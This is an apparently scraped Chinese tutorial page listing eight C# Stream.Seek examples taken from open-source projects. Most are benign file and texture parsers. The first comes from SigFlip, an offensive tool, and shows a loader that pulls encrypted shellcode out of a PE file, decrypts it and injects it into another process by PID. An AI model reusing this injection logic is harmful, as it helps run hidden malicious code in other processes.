C# Stream.Seek的代码示例
通过代码示例来学习C# Stream.Seek方法
通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。
Stream.Seek是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的Stream.Seek() 已经帮大家高亮显示了,大家可以重点学习Stream.Seek() 方法的写法,从而快速掌握该方法的应用。
Stream.Seek的代码示例1 - Main()
using System.IO; public static void Main(string[] args) { ArgumentParser _parser = new ArgumentParser(args); if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") { Help(); } if (_parser.GetOrDefault("f", "null") != "null") { _pePath = _parser.GetOrDefault("f", "null"); _encKey = _parser.GetOrDefault("e", "null"); _pid = _parser.GetOrDefault("pid", "null"); if (_pePath == "null") Help(); if (_pid == "null") Help(); } else { Help(); } if (!File.Exists(_pePath)) Help(); Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath); Console.WriteLine(); byte[] _peBlob = Utils.Read(_pePath); int _dataOffset = Utils.scanPattern(_peBlob, _tag); Console.WriteLine("[+]:Scanning for Shellcode..."); if ( _dataOffset == -1) { Console.WriteLine("Could not locate data or shellcode"); Environment.Exit(0); } Stream stream = new MemoryStream(_peBlob); long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin); Console.WriteLine("[+]: Shellcode located at {0:x2}", pos); byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)]; stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length)); byte[] _data = Utils.Decrypt(shellcode, _encKey); stream.Close(); //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader. //CreateThread //ExecShellcode(_data); //CreateRemoteThread Loader.rexec(Convert.ToInt32(_pid), _data); }
开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs
在Main()方法中,Stream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Seek的代码示例2 - AppendToNewlineSeparatedFile()
using System.IO; public static void AppendToNewlineSeparatedFile(PhysicalFileSystem fileSystem, string filename, string newContent) { using (Stream fileStream = fileSystem.OpenFileStream(filename, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite, false)) { using (StreamReader reader = new StreamReader(fileStream)) using (StreamWriter writer = new StreamWriter(fileStream)) { long position = reader.BaseStream.Seek(0, SeekOrigin.End); if (position > 0) { reader.BaseStream.Seek(position - 1, SeekOrigin.Begin); } string lastCharacter = reader.ReadToEnd(); if (lastCharacter != "\n" && lastCharacter != string.Empty) { writer.Write("\n"); } writer.Write(newContent.Trim()); writer.Write("\n"); } fileStream.Close(); } }
开发者ID:microsoft,项目名称:VFSForGit,代码行数:28,代码来源:BlobPrefetcher.cs
在AppendToNewlineSeparatedFile()方法中,Stream的代码示例类中的Seek的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Seek的代码示例3 - GetEmbeddedData()
using System.IO; ///
/// Extracts the data embedded into MSI (into Binary table). /// /// The session. /// The name on resource in the Binary table. ///public static byte[] GetEmbeddedData(this Session session, string binary) { //If binary is accessed this way it will raise "stream handle is not valid" exception //object result = session.Database.ExecuteScalar("select Data from Binary where Name = 'Fake_CRT.msi'"); //Stream s = (Stream)result; //using (FileStream fs = new FileStream(@"....\Wix# Samples\Simplified Bootstrapper\Fake CRT1.msi", FileMode.Create)) //{ // int Length = 256; // var buffer = new Byte[Length]; // int bytesRead = s.Read(buffer, 0, Length); // while (bytesRead > 0) // { // fs.Write(buffer, 0, bytesRead); // bytesRead = s.Read(buffer, 0, Length); // } //} //however View approach is OK using (var sql = session.Database.OpenView("select Data from Binary where Name = '" + binary + "'")) { sql.Execute(); using (var record = sql.Fetch()) using (var stream = record.GetStream(1)) using (var ms = new IO.MemoryStream()) { int Length = 256; var buffer = new Byte[Length]; int bytesRead = stream.Read(buffer, 0, Length); while (bytesRead > 0) { ms.Write(buffer, 0, bytesRead); bytesRead = stream.Read(buffer, 0, Length); } ms.Seek(0, IO.SeekOrigin.Begin); return ms.ToArray(); } } }
开发者ID:oleg-shilo,项目名称:wixsharp,代码行数:47,代码来源:Extensions.cs
在GetEmbeddedData()方法中,Stream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Seek的代码示例4 - Load()
public void Load(System.IO.Stream stream) { using (FileReader reader = new FileReader(stream)) { reader.ByteOrder = Syroot.BinaryData.ByteOrder.LittleEndian; magic = reader.ReadBytes(4); uint magicval = magic[0] + 256 * (uint)(magic[1]) + 65536 * (uint)(magic[2]) + 16777216 * (uint)(magic[3]); if (magicval != MagicFileConstant) throw new Exception("Invalid identifier"); BlockDimX = reader.ReadByte(); BlockDimY = reader.ReadByte(); BlockDimZ = reader.ReadByte(); xsize = reader.ReadBytes(3); ysize = reader.ReadBytes(3); zsize = reader.ReadBytes(3); Width = (uint)(xsize[0] + 256 * xsize[1] + 65536 * xsize[2]); Height = (uint)(ysize[0] + 256 * ysize[1] + 65536 * ysize[2]); Depth = (uint)(zsize[0] + 256 * zsize[1] + 65536 * zsize[2]); reader.Seek(0x10, System.IO.SeekOrigin.Begin); DataBlock = reader.ReadBytes((int)(reader.BaseStream.Length - reader.Position)); Console.WriteLine(Width); Console.WriteLine(Height); Console.WriteLine(Depth); if (BlockDimX == 4 && BlockDimY == 4) Format = TEX_FORMAT.ASTC_4x4_UNORM; else if (BlockDimX == 5 && BlockDimY == 4) Format = TEX_FORMAT.ASTC_5x4_UNORM; else if (BlockDimX == 5 && BlockDimY == 5) Format = TEX_FORMAT.ASTC_5x5_UNORM; else if (BlockDimX == 6 && BlockDimY == 5) Format = TEX_FORMAT.ASTC_6x5_UNORM; else if (BlockDimX == 6 && BlockDimY == 6) Format = TEX_FORMAT.ASTC_6x6_UNORM; else if (BlockDimX == 8 && BlockDimY == 5) Format = TEX_FORMAT.ASTC_8x5_UNORM; else if (BlockDimX == 8 && BlockDimY == 6) Format = TEX_FORMAT.ASTC_8x6_UNORM; else if (BlockDimX == 8 && BlockDimY == 8) Format = TEX_FORMAT.ASTC_8x8_UNORM; else if (BlockDimX == 10 && BlockDimY == 10) Format = TEX_FORMAT.ASTC_10x10_UNORM; else if (BlockDimX == 10 && BlockDimY == 5) Format = TEX_FORMAT.ASTC_10x5_UNORM; else if (BlockDimX == 10 && BlockDimY == 6) Format = TEX_FORMAT.ASTC_10x6_UNORM; else if (BlockDimX == 10 && BlockDimY == 8) Format = TEX_FORMAT.ASTC_10x8_UNORM; else throw new Exception($"Unsupported block dims! ({BlockDimX} x {BlockDimY})"); } stream.Dispose(); stream.Close(); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:63,代码来源:ASTC.cs
在Load()方法中,Stream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Seek的代码示例5 - Load()
using System.IO; public void Load(System.IO.Stream stream) { CanSave = true; Text = FileName; using (var reader = new FileReader(stream)) { reader.ByteOrder = Syroot.BinaryData.ByteOrder.BigEndian; uint FileSize = (uint)reader.BaseStream.Length; reader.Seek(FileSize - 0x28, SeekOrigin.Begin); header = new Header(); header.Read(reader); reader.Seek(header.HeaderSize + FileSize - 0x28, SeekOrigin.Begin); image = new Image(); image.Read(reader); Format = GetFormat(image.BCLIMFormat); Width = image.Width; Height = image.Height; LoadComponents(Format); reader.Position = 0; ImageData = reader.ReadBytes((int)image.ImageSize); PlatformSwizzle = PlatformSwizzle.Platform_3DS; } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:33,代码来源:BCLIM.cs
在Load()方法中,Stream的代码示例类中的Seek的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Seek的代码示例6 - Load()
using System.IO; public void Load(System.IO.Stream stream) { CanSave = true; Text = FileName; using (var reader = new FileReader(stream)) { uint FileSize = (uint)reader.BaseStream.Length; reader.Seek(FileSize - 0x28, SeekOrigin.Begin); header = new Header(); header.Read(reader); bool Is3DS = reader.ByteOrder == Syroot.BinaryData.ByteOrder.LittleEndian; reader.Seek(header.HeaderSize + FileSize - 0x28, SeekOrigin.Begin); image = new Image(Is3DS); image.Read(reader); bool isBc4Alpha = image.BflimFormat == 16; if (Is3DS) Format = Formats3DS[image.BflimFormat]; else Format = FormatsWiiU[image.BflimFormat]; Width = image.Width; Height = image.Height; LoadComponents(Format, isBc4Alpha); uint ImageSize = reader.ReadUInt32(); reader.Position = 0; ImageData = reader.ReadBytes((int)ImageSize); if (!PluginRuntime.bflimTextures.ContainsKey(Text)) PluginRuntime.bflimTextures.Add(Text, this); } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:44,代码来源:BFLIM.cs
在Load()方法中,Stream的代码示例类中的Seek的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Seek的代码示例7 - Load()
public void Load(System.IO.Stream stream) { Text = FileName; CanSave = true; FileReader reader = new FileReader(stream); int SectionSize = 0; while (!reader.EndOfStream) { string magicCheck = reader.ReadString(4, Encoding.ASCII); if (magicCheck == "VFXB") { reader.Seek(-4); break; } SectionSize += 4; } if (SectionSize == reader.BaseStream.Length) return; DataStart = reader.getSection(0, SectionSize); Text = FileName; ptcl = new PTCL(); ptcl.IFileInfo = new IFileInfo(); ptcl.FileName = "Output.pctl"; Nodes.Add(ptcl); ptcl.Load(new SubStream(stream, reader.Position)); }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:32,代码来源:EFF.cs
在Load()方法中,Stream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
Stream.Seek的代码示例8 - Load()
using System.IO; public void Load(Stream stream) { CanSave = true; using (var reader = new FileReader(stream)) { CheckEndianness(reader); isBigEndian = reader.IsBigEndian; uint Count = reader.ReadUInt32(); Console.WriteLine($"Count {Count}"); uint[] Offsets = new uint[Count]; uint[] Sizes = new uint[Count]; for (int i = 0; i < Count; i++) { Offsets[i] = reader.ReadUInt32(); Sizes[i] = reader.ReadUInt32(); } for (int i = 0; i < Count; i++) { var fileEntry = new FileEntry(); reader.SeekBegin(Offsets[i]); string Magic = reader.ReadString(4); reader.Seek(-4); reader.SeekBegin(Offsets[i]); fileEntry.FileData = reader.ReadBytes((int)Sizes[i]); fileEntry.FileName = $"File {i}"; fileEntry.OpenFileFormatOnLoad = true; switch (Magic) { case "GT1G": //Textures case "G1TG": //Textures fileEntry.FileName = $"TextureContainer_{i}.gt1"; break; case "_M1G": case "G1M_": fileEntry.FileName = $"Model_{i}.g1m"; break; case "_A1G": case "G1A_": fileEntry.FileName = $"Animation_{i}.g1a"; break; default: break; } files.Add(fileEntry); } } }
开发者ID:KillzXGaming,项目名称:Switch-Toolbox,代码行数:57,代码来源:HWBinGzResource.cs
在Load()方法中,Stream的代码示例类中的Seek的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞
本文中的Stream.Seek方法示例由csref.cn整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。